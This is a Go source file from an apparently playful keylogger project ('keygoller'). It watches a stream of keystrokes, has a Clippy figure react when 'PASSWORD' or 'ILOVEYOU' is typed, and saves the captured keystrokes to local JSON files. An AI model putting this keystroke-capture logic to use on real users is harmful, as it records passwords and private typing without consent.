131 lines
2.4 KiB
Go
131 lines
2.4 KiB
Go
package ai
|
|
|
|
import (
|
|
"encoding/json"
|
|
"io/ioutil"
|
|
"os"
|
|
"regexp"
|
|
"strings"
|
|
|
|
"git.postblue.info/keygoller/utils"
|
|
"github.com/google/uuid"
|
|
"github.com/sirupsen/logrus"
|
|
)
|
|
|
|
// ReadFromStream is the main AI function, it reads from the stream of the keys
|
|
// and then answers if some conditions are met.
|
|
func ReadFromStream(inputChan chan utils.InputEvent) {
|
|
var b strings.Builder
|
|
input := make([]utils.InputEvent, 0)
|
|
for {
|
|
data := <-inputChan
|
|
b.WriteString(data.KeyString())
|
|
input = append(input, data)
|
|
|
|
switch b.String() {
|
|
case b.String():
|
|
if findPassword(b.String()) {
|
|
utils.ClippySays("I LIKE YOUR PASSWORD")
|
|
saveData(b.String(), input)
|
|
b.Reset()
|
|
}
|
|
if findLove(b.String()) {
|
|
utils.ClippySays("I love you too...")
|
|
saveData(b.String(), input)
|
|
b.Reset()
|
|
}
|
|
default:
|
|
continue
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
// Node is the word that has been captured.
|
|
type Node struct {
|
|
ID uuid.UUID
|
|
Word string `json:"word"`
|
|
}
|
|
|
|
// Edge is the collection of keystrokes captured on filtered word.
|
|
type Edge struct {
|
|
ID uuid.UUID
|
|
NodeID uuid.UUID `json:"NodeID"`
|
|
Keys []utils.InputEvent `json:"keys"`
|
|
}
|
|
|
|
func saveData(word string, keysPressed []utils.InputEvent) {
|
|
err := fileExists("nodes.json")
|
|
err = fileExists("edges.json")
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
}
|
|
|
|
nodeFile, err := ioutil.ReadFile("nodes.json")
|
|
edgeFile, err := ioutil.ReadFile("edges.json")
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
}
|
|
|
|
nodeDatas := []Node{}
|
|
edgeDatas := []Edge{}
|
|
|
|
json.Unmarshal(nodeFile, &nodeDatas)
|
|
json.Unmarshal(edgeFile, &edgeDatas)
|
|
|
|
node := &Node{
|
|
ID: uuid.New(),
|
|
Word: word,
|
|
}
|
|
|
|
edge := &Edge{
|
|
ID: uuid.New(),
|
|
NodeID: node.ID,
|
|
Keys: keysPressed,
|
|
}
|
|
|
|
nodeDatas = append(nodeDatas, *node)
|
|
edgeDatas = append(edgeDatas, *edge)
|
|
|
|
nodeBytes, err := json.Marshal(nodeDatas)
|
|
edgeBytes, err := json.Marshal(edgeDatas)
|
|
|
|
err = ioutil.WriteFile("nodes.json", nodeBytes, 0644)
|
|
err = ioutil.WriteFile("edges.json", edgeBytes, 0644)
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
}
|
|
|
|
}
|
|
|
|
func fileExists(filename string) error {
|
|
_, err := os.Stat(filename)
|
|
if os.IsNotExist(err) {
|
|
_, err := os.Create(filename)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func findPassword(input string) bool {
|
|
r, _ := regexp.Compile("PASSWORD")
|
|
|
|
if ok := r.MatchString(input); ok {
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
func findLove(input string) bool {
|
|
r, _ := regexp.Compile("ILOVEYOU")
|
|
|
|
if ok := r.MatchString(input); ok {
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|